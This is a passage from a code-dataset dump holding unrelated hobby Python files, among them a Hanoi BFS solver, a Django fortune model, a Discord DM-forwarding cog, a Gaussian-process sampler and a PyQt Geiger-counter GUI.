Queue\nfrom heapq import heappush, heappop, heapify\nfrom operator import * # itemgetter\nfrom functools import reduce\nfrom string import ascii_lowercase, ascii_uppercase\n\ngi = lambda: int(input())\ngis = lambda: list(map(int, input().split()))\ngs = lambda: input()\nskiplast = lambda x: range(len(x)-1)\nis_even = lambda x: x%2 == 0\n\ninf = float('inf')\n\ndef get_neighbors(rods):\n for i in range(4):\n if not rods[i]:\n continue\n\n for j in range(4):\n if j == i:\n continue\n\n if len(rods[j]) == 0 or rods[j][-1] > rods[i][-1]:\n yield i,j\n \n\nn = gi()\nrods = [[], [], [], []]\nfor i, d in enumerate(gis(), start=1):\n rods[d-1].append(i)\nstart = tuple([tuple(sorted(rod, reverse=True)) for rod in rods])\n\nEND = (tuple(reversed(range(1, n+1))), tuple(), tuple(), tuple())\nvisited = set([start])\nq = deque([(start, 0)])\nwhile q:\n node, dist = q.popleft()\n if node == END:\n break\n\n for i,j in get_neighbors(node):\n neighbor = [list(rod) for rod in node]\n neighbor[j].append(neighbor[i].pop())\n neighbor[1:] = sorted(neighbor[1:], key=lambda x: x[-1] if x else 0)\n neighbor = tuple(tuple(rod) for rod in neighbor)\n\n if neighbor not in visited:\n visited.add(neighbor)\n q.append( (neighbor, dist+1) )\n\nprint(dist)\n","sub_path":"algorithms/search/gena_playing_hanoi.py","file_name":"gena_playing_hanoi.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"532122583","text":"import tugalib\nfrom types import ModuleType as _Module\n\n\ndef _filtering_out(names):\n \"\"\"Remove name from global _names variable\"\"\"\n for name in names:\n del _names[name]\n return names\n\n\nall_names = [name for name in dir(tugalib) if not name.startswith('_')]\nnamespace = {name: getattr(tugalib, name) for name in all_names}\n_names = namespace.copy()\n\n# Classify names according to type: constants\n_py_constants = (True, False, None)\npy_constants = ['True', 'False', 'None']\nconstants = _filtering_out(\n [name for (name, value) in _names.items()\n if value in _py_constants or isinstance(value, (int, float))]\n)\n\n# Exceptions\npy_exceptions = [\n name for (name, value) in vars(__builtins__).items()\n if isinstance(value, type) and issubclass(value, Exception)\n ]\nexceptions = _filtering_out(\n [name for (name, value) in _names.items()\n if isinstance(value, type) and issubclass(value, Exception)]\n)\n\n# Types\npy_types = [\n name for (name, value) in vars(__builtins__).items()\n if isinstance(value, type) and not issubclass(value, Exception)\n ]\ntypes = _filtering_out(\n [name for (name, value) in _names.items() if isinstance(value, type)]\n)\n\n# Functions\npy_functions = py_types = [\n name for (name, value) in vars(__builtins__).items()\n if name not in py_types and name not in py_exceptions\n ]\nfunctions = _filtering_out(\n [name for (name, value) in _names.items() if callable(value)]\n)\n\n# Modules\nsubmodules = _filtering_out(\n [name for (name, value) in _names.items() if isinstance(value, _Module)]\n)\n\n# Builtins\npy_builtins = py_types + py_functions\nbuiltins = types + functions\n","sub_path":"src/tugalib/instrospect.py","file_name":"instrospect.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"350124753","text":"from collections import namedtuple\n\n\"\"\"A wrapper passed internally by the bus.\"\"\"\nimport threading\nimport heapq\n\nMessageEnvelope = namedtuple(\"MessageEnvelope\", [\"body\", \"context\"])\n\n\"\"\"A container for details about a message + failed handler\"\"\"\nInvocationFailure = namedtuple(\"InvocationFailure\", [\"message\", \"exception\", \"stack_trace\", \"invocation_context\"])\n\nReplyContext = namedtuple(\"ReplyContext\", [\"reply_to\", \"responder\", \"thread_channel\"])\n\n\nclass TrxState(object):\n \"\"\"A thread local state object.\"\"\"\n\n def __init__(self, trx_proxy):\n self.session = Session()\n self.current_message = None\n self.current_message_context = None\n self._deferred = []\n self._queued_messages = []\n self._indx = 1\n\n if trx_proxy is not None and trx_proxy.session_future:\n self.session.update(trx_proxy.session_future)\n\n def consume_messages(self):\n \"\"\"A destructive iterator for consuming all queued messages.\"\"\"\n while self._queued_messages:\n yield heapq.heappop(self._queued_messages)[1]\n\n def is_queue_empty(self):\n \"\"\"Got messages?\"\"\"\n return len(self._queued_messages) == 0\n\n def enqueue(self, message, priority=None):\n \"\"\"Enqueue a message during this session.\"\"\"\n if priority is None:\n indx = self._indx = self._indx + 1\n else:\n indx = priority\n heapq.heappush(self._queued_messages, (indx, message))\n\n\nclass Session(dict):\n \"\"\"A bag for storing session variables during a Bus.publish() call.\"\"\"\n\n def __init__(self, **kwargs):\n self.update(kwargs)\n\n\nclass SessionKeys(object):\n GATEWAY_EVENT = '_gateway_event'\n\n RESPONDER = \"_responder\"\n\n GATEWAY_EXTRAS = \"_gateway_extras\"\n\n GATEWAY = \"_gateway\"\n\n CORRELATION_ID = \"_correlation_id\"\n\n GATEWAY_HEADERS = \"_gateway_headers\"\n REPLY_SENDER = \"_reply_sender\"\n REPLY_TO = \"_reply_to\"\n\n\nclass TrxProxy(threading.local):\n state = None\n session_future = None\n message_future = None\n\n","sub_path":"voom/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"229444784","text":"from django.db import models\nfrom random import randint\nfrom apifortune.models.timestamp import TimeStampedModel\n\n\nclass FortuneManager(models.Manager):\n\tdef create_fortune(self, message, lucky_numbers=None):\n\t\tif not lucky_numbers or not Fortune.valid_lucky_numbers(lucky_numbers):\n\t\t\tlucky_numbers = Fortune.generate_lucky_numbers()\n\t\treturn self.create(message=message, lucky_numbers=lucky_numbers)\n\n\nclass Fortune(TimeStampedModel):\n\tmessage = models.CharField(max_length=100, blank=False, default='')\n\tlucky_numbers = models.CharField(max_length=20, blank=False, default='')\n\n\tobjects = FortuneManager()\n\n\t@staticmethod\n\tdef generate_lucky_numbers():\n\t\trandom_numbers = [randint(1, 99) for number in range(6)]\n\t\trandom_numbers_string = map(\n\t\t\tlambda x: \"0{0}\".format(x) if x < 10 else str(x),\n\t\t\trandom_numbers\n\t\t)\n\t\treturn '-'.join(random_numbers_string)\n\n\t@staticmethod\n\tdef valid_lucky_numbers(value):\n\t\ttry:\n\t\t\tnumbers = value.split('-')\n\t\texcept:\n\t\t\treturn False\n\t\tfor number in numbers:\n\t\t\tif not number.isdigit():\n\t\t\t\treturn False\n\t\t\tcandidate = int(number)\n\t\t\tif candidate < 0 or candidate > 100:\n\t\t\t\treturn False\n\t\treturn True\n\n\tclass Meta:\n\t\tordering = ('created',)\n\t\tapp_label = 'apifortune'\n\t\tdb_table = 'fortune'\n","sub_path":"fortunecookie/apifortune/models/fortune.py","file_name":"fortune.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"458394974","text":"from collections import OrderedDict\n\nGENDER1 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER2 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER3 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER4 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER5 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER6 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER7 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER8 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER9 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER10 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER11 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER12 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER13 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER14 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER15 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER16 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER17 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER18 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER19 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER20 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER21 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER22 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER23 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER24 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER15 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER16 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER17 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER18 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER19 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER20 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER21 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER22 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER23 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER24 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER25 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER26 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER27 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER28 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER29 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER30 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER31 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER32 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER33 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER34 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER35 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER36 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER37 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER38 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER39 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER40 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER41 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER42 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER43 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER44 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER45 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER46 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER47 = [\n \"M\",\n \"F\",\n \"NA\"\n]\nGENDER48 = [\n \"M\",\n \"F\",\n \"NA\"\n]\n\nGROUP_1 = OrderedDict()\nGROUP_1[\"Gender1\"] = GENDER1\nGROUP_1[\"Gender2\"] = GENDER2\nGROUP_1[\"Gender3\"] = GENDER3\nGROUP_1[\"Gender4\"] = GENDER4\nGROUP_1[\"Gender5\"] = GENDER5\nGROUP_1[\"Gender6\"] = GENDER6\nGROUP_1[\"Gender7\"] = GENDER7\nGROUP_1[\"Gender8\"] = GENDER8\nGROUP_1[\"Gender9\"] = GENDER9\nGROUP_1[\"Gender10\"] = GENDER10\nGROUP_1[\"Gender11\"] = GENDER11\nGROUP_1[\"Gender12\"] = GENDER12\nGROUP_1[\"Gender13\"] = GENDER13\nGROUP_1[\"Gender14\"] = GENDER14\nGROUP_1[\"Gender15\"] = GENDER15\nGROUP_1[\"Gender16\"] = GENDER16\nGROUP_1[\"Gender17\"] = GENDER17\nGROUP_1[\"Gender18\"] = GENDER18\nGROUP_1[\"Gender19\"] = GENDER19\nGROUP_1[\"Gender20\"] = GENDER20\nGROUP_1[\"Gender21\"] = GENDER21\nGROUP_1[\"Gender22\"] = GENDER22\nGROUP_1[\"Gender23\"] = GENDER23\nGROUP_1[\"Gender24\"] = GENDER24\nGROUP_1[\"Gender25\"] = GENDER25\nGROUP_1[\"Gender26\"] = GENDER26\nGROUP_1[\"Gender27\"] = GENDER27\nGROUP_1[\"Gender28\"] = GENDER28\nGROUP_1[\"Gender29\"] = GENDER29\nGROUP_1[\"Gender30\"] = GENDER30\nGROUP_1[\"Gender31\"] = GENDER31\nGROUP_1[\"Gender32\"] = GENDER32\nGROUP_1[\"Gender33\"] = GENDER33\nGROUP_1[\"Gender34\"] = GENDER34\nGROUP_1[\"Gender35\"] = GENDER35\nGROUP_1[\"Gender36\"] = GENDER36\nGROUP_1[\"Gender37\"] = GENDER37\nGROUP_1[\"Gender38\"] = GENDER38\nGROUP_1[\"Gender39\"] = GENDER39\nGROUP_1[\"Gender40\"] = GENDER40\nGROUP_1[\"Gender41\"] = GENDER41\nGROUP_1[\"Gender42\"] = GENDER42\nGROUP_1[\"Gender43\"] = GENDER43\nGROUP_1[\"Gender44\"] = GENDER44\nGROUP_1[\"Gender45\"] = GENDER45\nGROUP_1[\"Gender46\"] = GENDER46\nGROUP_1[\"Gender47\"] = GENDER47\nGROUP_1[\"Gender48\"] = GENDER48\n\n","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"559901162","text":"# -*- coding: utf-8 -*-\n\"\"\"\nN개의 정수가 들어있는 배열에서 이웃한 M개의 합을 계산하는 것은 디지털 필터링의 기초연산이다.\nM개의 합이 가장 큰 경우와 가장 작은 경우의 차이를 출력하는 프로그램을 작성하시오.\n다음은 N=5, M=3이고 5개의 숫자 1 2 3 4 5가 배열 v에 들어있는 경우이다.\nn = 5, m=3, v = [1, 2, 3, 4, 5]\n\n이웃한 M개의 합이 가장 작은 경우 1 + 2 + 3 = 6\n이웃한 M개의 합이 가장 큰 경우 3 + 4 + 5 = 12\n답은 12와 6의 차인 6을 출력한다.\n\n첫 줄에 테스트 케이스 개수 T가 주어진다. ( 1 ≤ T ≤ 50 )\n\n다음 줄부터 테스트케이스의 첫 줄에 정수의 개수 N과 구간의 개수 M 주어진다. ( 10 ≤ N ≤ 100, 2 ≤ M < N )\n다음 줄에 N개의 정수 ai가 주어진다. ( 1 ≤ a ≤ 10000 )\n\n[입력]\n3\n10 3\n1 2 3 4 5 6 7 8 9 10\n10 5\n6262 6004 1801 7660 7919 1280 525 9798 5134 1821 \n20 19\n3266 9419 3087 9001 9321 1341 7379 6236 5795 8910 2990 2152 2249 4059 1394 6871 4911 3648 1969 2176\n\n[출력]\n#1 21\n#2 11088\n#3 1090\n\"\"\"\n\nimport sys\n\nT = int(input())\n\nfor test_case in range(1, T + 1):\n length, filter_length = map(int, input().split())\n vlist = list(map(int, input().split()))\n print(\"{0} {1} {2}\".format(sys.getsizeof(length), sys.getsizeof(filter_length), sys.getsizeof(vlist)))\n \n length, filter_length = map(int, input().split(' '))\n vlist = list(map(int, input().split(' ')))\n print(\"{0} {1} {2}\".format(sys.getsizeof(length), sys.getsizeof(filter_length), sys.getsizeof(vlist)))\n \n # idx = 0\n # max_val = 0\n # min_val = 1e10\n \n # while idx + filter_length <= length:\n # if max_val <= sum(vlist[idx : idx + filter_length]):\n # max_val = sum(vlist[idx : idx + filter_length])\n # if min_val >= sum(vlist[idx : idx + filter_length]):\n # min_val = sum(vlist[idx : idx + filter_length])\n # idx += 1\n \n # print(\"#{0} {1}\".format(test_case, max_val - min_val))","sub_path":"SWEA/Programming - Intermediate/파이썬 SW문제해결 기본 List1/Basic_List1_09_구간합.py","file_name":"Basic_List1_09_구간합.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"19054825","text":"import discord\n\nfrom discord.utils import get\n\nfrom redbot.core import Config, commands, checks\n\nfrom typing import Union\n\n\nclass Forwarding(commands.Cog):\n \"\"\"Forward messages to the bot owner, incl. pictures (max one per message).\n You can also DM someone as the bot with `[p]pm `.\"\"\"\n\n __author__ = \"saurichable\"\n __version__ = \"2.3.1\"\n\n def __init__(self, bot):\n self.bot = bot\n self.config = Config.get_conf(\n self, identifier=5412156465899465526156, force_registration=True\n )\n self.config.register_global(\n guild_id=0, channel_id=0, ping_role_id=0, ping_user_id=0\n )\n\n async def _send_to(self, embed):\n guild = self.bot.get_guild(await self.config.guild_id())\n if not guild:\n return await self._send_to_owners(embed)\n channel = guild.get_channel(await self.config.channel_id())\n if not channel:\n return await self._send_to_owners(embed)\n ping_role = guild.get_role(await self.config.ping_role_id())\n ping_user = guild.get_member(await self.config.ping_user_id())\n if not ping_role:\n if not ping_user:\n return await channel.send(embed=embed)\n return await channel.send(content=f\"{ping_user.mention}\", embed=embed)\n if not ping_role.mentionable:\n await ping_role.edit(mentionable=True)\n await channel.send(content=f\"{ping_role.mention}\", embed=embed)\n await ping_role.edit(mentionable=False)\n else:\n await channel.send(content=f\"{ping_role.mention}\", embed=embed)\n\n async def _send_to_owners(self, embed):\n for owner_id in self.bot.owner_ids:\n await self.bot.get_user(owner_id).send(embed=embed)\n\n\n @commands.Cog.listener()\n async def on_message_without_command(self, message):\n if message.guild:\n return\n if message.channel.recipient.id in self.bot.owner_ids:\n return\n if message.author == self.bot.user:\n return\n if not (await self.bot.allowed_by_whitelist_blacklist(message.author)):\n return\n if not message.attachments:\n embed = discord.Embed(\n colour=discord.Colour.red(),\n description=message.content,\n timestamp=message.created_at,\n )\n embed.set_author(name=message.author, icon_url=message.author.avatar_url)\n embed.set_footer(text=f\"User ID: {message.author.id}\")\n await message.author.send(\"Message has been delivered.\")\n else:\n embed = discord.Embed(\n colour=discord.Colour.red(),\n description=message.content,\n timestamp=message.created_at,\n )\n embed.set_author(name=message.author, icon_url=message.author.avatar_url)\n embed.set_image(url=message.attachments[0].url)\n embed.set_footer(text=f\"User ID: {message.author.id}\")\n await message.author.send(\n \"Message has been delivered. Note that if you've added multiple attachments, I've sent only the first one.\"\n )\n await self._send_to(embed)\n\n @commands.command()\n @checks.admin()\n async def pm(self, ctx: commands.Context, user_id: int, *, message: str):\n \"\"\"PMs a person.\"\"\"\n destination = get(ctx.bot.get_all_members(), id=user_id)\n if not destination:\n return await ctx.send(\n \"Invalid ID or user not found. You can only send messages to people I share a server with.\"\n )\n await destination.send(message)\n await ctx.send(f\"Sent message to {destination}.\")\n\n @checks.admin()\n @commands.command()\n @commands.guild_only()\n @checks.bot_has_permissions(add_reactions=True)\n async def self(self, ctx: commands.Context, *, message: str):\n \"\"\"Send yourself a DM. Owner command only.\"\"\"\n await ctx.author.send(message)\n await ctx.tick()\n\n @commands.group()\n @checks.is_owner()\n @commands.guild_only()\n async def setforward(self, ctx: commands.Context):\n \"\"\"Configuration commands for forwarding.\"\"\"\n pass\n\n @setforward.command(name=\"channel\")\n async def setforward_channel(\n self, ctx: commands.Context, *, channel: Union[discord.TextChannel, int]\n ):\n \"\"\"Set a channel in the current guild to be used for forwarding.\n \n Use 0 to reset.\"\"\"\n if isinstance(channel, int):\n if channel == 0:\n await self.config.guild_id.set(0)\n await self.config.channel_id.set(0)\n return await ctx.send(\"I will forward all DMs to you.\")\n return await ctx.send(\"Invalid value.\")\n await self.config.guild_id.set(ctx.guild.id)\n await self.config.channel_id.set(channel.id)\n await ctx.send(f\"I will forward all DMs to {channel.mention}.\")\n\n @setforward.command(name=\"role\")\n async def setforward_role(\n self, ctx: commands.Context, *, role: Union[discord.Role, int]\n ):\n \"\"\"Set a role to be pinged for forwarding.\n \n Use 0 to reset.\"\"\"\n if isinstance(role, int):\n if role == 0:\n await self.config.ping_role_id.set(0)\n return await ctx.send(\"I will not ping any role.\")\n return await ctx.send(\"Invalid value.\")\n await self.config.ping_role_id.set(role.id)\n await ctx.send(f\"I will ping {role.mention}.\")\n\n @setforward.command(name=\"user\")\n async def setforward_user(\n self, ctx: commands.Context, *, member: Union[discord.Member, int]\n ):\n \"\"\"Set a role to be pinged for forwarding.\n \n Use 0 to reset.\"\"\"\n if isinstance(member, int):\n if member == 0:\n await self.config.ping_user_id.set(0)\n return await ctx.send(\"I will not ping anyone.\")\n return await ctx.send(\"Invalid value.\")\n await self.config.ping_user_id.set(member.id)\n await ctx.send(f\"I will ping {member.mention}.\")\n","sub_path":"forwarding/forwarding.py","file_name":"forwarding.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"118542824","text":"import scipy.io as spio\nimport numpy as np\nfrom sklearn.gaussian_process.kernels import RBF, ConstantKernel as C\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import preprocessing\ndef pass_arg(Xx, nsim, tr_size):\n\n print(\"tr_Size:\",tr_size)\n tr_size = int(tr_size)\n use_YPhy = 0\n\n #List of lakes to choose from\n lake = ['mendota' , 'mille_lacs']\n lake_num = 0 # 0 : mendota , 1 : mille_lacs\n lake_name = lake[lake_num]\n\n # Load features (Xc) and target values (Y)\n data_dir = '../../../../data/'\n filename = lake_name + '.mat'\n mat = spio.loadmat(data_dir + filename, squeeze_me=True,\n variable_names=['Y','Xc_doy','Modeled_temp'])\n Xc = mat['Xc_doy']\n Y = mat['Y']\n Xc = Xc[:,:-1]\n scaler = preprocessing.StandardScaler()\n\n # train and test data\n trainX, testX, trainY, testY = train_test_split(Xc, Y, train_size=tr_size/Xc.shape[0], \n test_size=tr_size/Xc.shape[0], random_state=42, shuffle=True)\n\n trainY=trainY[:,np.newaxis]\n #trainX = scaler.fit_transform(trainX)\n #trainY = scaler.fit_transform(trainY)\n \n \n kernel = C(5.0, (0.1, 1e2)) * RBF(length_scale = [1] * trainX.shape[1], length_scale_bounds=(1e-1, 1e15))\n gp = GaussianProcessRegressor(kernel=kernel, alpha =.1, n_restarts_optimizer=10)\n gp.fit(trainX, trainY)\n #y_pred1, sigma1 = gp.predict(testX, return_std=True)\n \n # scale the uniform numbers to original space\n # max and min value in each column \n max_in_column_Xc = np.max(trainX,axis=0)\n min_in_column_Xc = np.min(trainX,axis=0)\n \n # Xc_scaled = (Xc-min_in_column_Xc)/(max_in_column_Xc-min_in_column_Xc)\n Xc_org = Xx*(max_in_column_Xc-min_in_column_Xc) + min_in_column_Xc\n \n print(gp.kernel_)\n samples = gp.sample_y(Xc_org, n_samples=int(nsim)).T\n return np.squeeze(samples)","sub_path":"source/examples/GSA/GP/GP_MC_p_Lake.py","file_name":"GP_MC_p_Lake.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"253722708","text":"poem=''\ntry:\n fin = open('relativity0.txt', 'rt')\nexcept FileNotFoundError:\n print('There is not relativity0.txt! ')\n exit(1)\n\nchunk = 100\nwhile True:\n fragment = fin.read(chunk)\n print(fragment,sep='',end='')\n if (fragment == ''): #if not fragment # read는 파일 끝에 도달할 경우, 빈문자열을 반환함.\n break\n else:\n poem += fragment\nfin.close()\nprint('',sep=' ',end='\\n')\nprint(len(poem))\n\n###########################################################################\npoem = ''\nfin = open ('relativity0.txt','rt')\nwhile True:\n line = fin.readline() # 빈라인의 경우 1을 반환. 파일 끝에선 빈문자열 반환!\n if not line:\n break\n poem += line\nfin.close()\nprint(poem)\nprint(len(poem))\n\n###########################################################################\npoem = ''\nfin = open ('relativity0.txt','rt')\nfor line in fin:\n poem += line\nfin.close()\n\nprint(poem)\nprint(len(poem))\n\n##########################################################################\nfin = open('relativity0.txt','rt')\nlines = fin.readlines()\nprint (len(lines), 'lines read')\nfor line in lines:\n print(line,end='')\nprint('',end='\\n')\n\n","sub_path":"Ch08/08_01_file_read.py","file_name":"08_01_file_read.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"517462646","text":"#These are Global variables for the program\n\nFRAME_RATE = 42\n\nLOADING_FRAME_RATE = 2\n\n\n#These two vars will contain two sfml objects that until recently\n# were just stored within the main.py's main().\n# They are stored here now, because the system functions for altering the tiles\n# need to be able to query for the mouse's locations\nwindow = None\nwindowView = None\n\nFOREGROUND_TILE_TYPES = 5\nGROUND_TILE_TYPES = 15\nBACKGROUND_TILE_TYPES = 5\n\nTILE_XRELATION_MIN = -8\nTILE_XRELATION_MAX = 8\nTILE_YRELATION_MIN = -6\nTILE_YRELATION_MAX = 6\n\nVIEW_TILE_WIDTH = 16 #Tiles along the x-axis of the visible screen\nVIEW_TILE_HEIGHT = 11 #Tiles along the y-axis of the visible screen\nTILE_SIZE = 32 #The original tile size that isn't altered (for x- and y-axis)\nCHUNK_TILES_WIDE = 16 #Tiles per chunk x-axis\nCHUNK_TILES_HIGH = 11 #Tiles per chunk x-axis\nCHUNK_LAYERS = 3\nTILE_ATLAS_SIZE = 10 #Tiles per atlas (for both the x- and y-axis)\n\n#These will be altered at the beginning of each state to be consistant with the\n# window's size.\nTile_Width = 32\nTile_Height = 32\n\n#The View denotes the size of the user's screen and what it can view inside of the RenderWindow (the RenderWindow is bigger than the view.)\nWINDOW_WIDTH = 1024 #Pixels alongthe x-axis of the visible screen\nWINDOW_HEIGHT = 704 #Pixels along the y-axis of the visible screen\n\nSaved_Game_Directory = \"\"\n\nMap_Data_Directory = \"\"\n\n#Note that the window and view dimensions are dependent on the CHUNK_SIZE/TILE_SIZE.\n#This is because the window is going to be the view's size with an extra chunk added to each dimension (x-/y-axis.)\n#But if the view's dimensions aren't divisible by the CHUNK_SIZE*TILE_SIZE, then the partially used chunk (that isn't fully covered by the view) will be counted as part of the view's dimensions.\n#So then we can have up to 1.999 extra chunks around our window depending on configuration for VIEW_TILE_WIDTH/VIEW_TILE_WIDTH/VIEW_WIDTH/VIEW_HEIGHT and the CHUNK_SIZE/TILE_SIZE.\n#Check out Master_Control.__init__() to see how the window's height/width are calculated (they use the globals above.)\n\n#Also note that there can be a single chunk used for the View (or part of one) with the current setup. So then the total amount of chunks that will be in memory would be 16.\n#And there is theoretically no limits on how many chunks can be used for the view/window/buffer. But obviously there will be a limit due to performance loss and memory issues at some point.\n\n#The current configuration for the view and window make use of 2x2 (4) chunks in the view, 3x3 (9) chunks in the window and 5x5 (25) chunks in memory (which includes the exterior chunks.)\n\n","sub_path":"oecs/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"643561979","text":"from PyQt5 import QtCore, QtWidgets, QtSerialPort, QtGui\r\nimport sys\r\nimport numpy as np\r\nimport datetime\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\r\nfrom matplotlib.figure import Figure\r\n\r\n\r\nclass MainWindow(QtWidgets.QMainWindow):\r\n\r\n def __init__(self, verbose = 0, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.canvas = MplCanvas(self, width=5, height=4, dpi=100)\r\n\r\n self.ydata = [] \r\n self.verbose = verbose\r\n self.setWindowIcon(QtGui.QIcon('mcgill_shield.png'))\r\n self.setWindowTitle(\"Geiger Counting\") \r\n if verbose: print('Arduino main window class creator: Verbose mode activated')\r\n self.widget = QtWidgets.QWidget()\r\n self.start_button = QtWidgets.QPushButton('Start', clicked = self.connect_ard)\r\n self.quit_button = QtWidgets.QPushButton('Quit', clicked = self.close)\r\n self.period_label = QtWidgets.QLabel('Period (ms)')\r\n self.period = QtWidgets.QLineEdit('0.2')\r\n self.replicas_label = QtWidgets.QLabel('Replicas')\r\n self.replicas = QtWidgets.QLineEdit('1')\r\n self.intervals_label = QtWidgets.QLabel('Intervals')\r\n self.intervals = QtWidgets.QLineEdit('100')\r\n self.output = QtWidgets.QTextEdit()\r\n self.prints = QtWidgets.QCheckBox()\r\n self.prints_label = QtWidgets.QLabel('Print textbox output')\r\n self.save_data = QtWidgets.QCheckBox()\r\n self.save_data.setChecked(True)\r\n self.save_data_label = QtWidgets.QLabel('Save data')\r\n hlayout_save_data = QtWidgets.QHBoxLayout()\r\n hlayout_save_data.addWidget(self.save_data_label)\r\n hlayout_save_data.addWidget(self.save_data)\r\n hlayout_prints = QtWidgets.QHBoxLayout()\r\n hlayout_prints.addWidget(self.prints_label)\r\n hlayout_prints.addWidget(self.prints)\r\n hlayout_period = QtWidgets.QHBoxLayout()\r\n hlayout_period.addWidget(self.period_label)\r\n hlayout_period.addWidget(self.period)\r\n hlayout_replicas = QtWidgets.QHBoxLayout()\r\n hlayout_replicas.addWidget(self.replicas_label)\r\n hlayout_replicas.addWidget(self.replicas)\r\n hlayout_intervals = QtWidgets.QHBoxLayout()\r\n hlayout_intervals.addWidget(self.intervals_label)\r\n hlayout_intervals.addWidget(self.intervals)\r\n hlayout = QtWidgets.QHBoxLayout()\r\n hlayout.addWidget(self.start_button)\r\n hlayout.addWidget(self.quit_button)\r\n vlayout = QtWidgets.QVBoxLayout()\r\n vlayout.addLayout(hlayout)\r\n vlayout.addLayout(hlayout_replicas)\r\n vlayout.addLayout(hlayout_intervals)\r\n vlayout.addLayout(hlayout_period)\r\n vlayout.addLayout(hlayout_prints)\r\n vlayout.addLayout(hlayout_save_data)\r\n vlayout.addWidget(self.output)\r\n hlayout2 = QtWidgets.QHBoxLayout()\r\n hlayout2.addLayout(vlayout)\r\n hlayout2.addWidget(self.canvas)\r\n #self.widget.setLayout(vlayout)\r\n self.widget.setLayout(hlayout2)\r\n self.setCentralWidget(self.widget)\r\n \r\n def connect_ard(self):\r\n self.replicas_value = int(self.replicas.text())\r\n self.period_value = float(self.period.text())\r\n self.intervals_value = 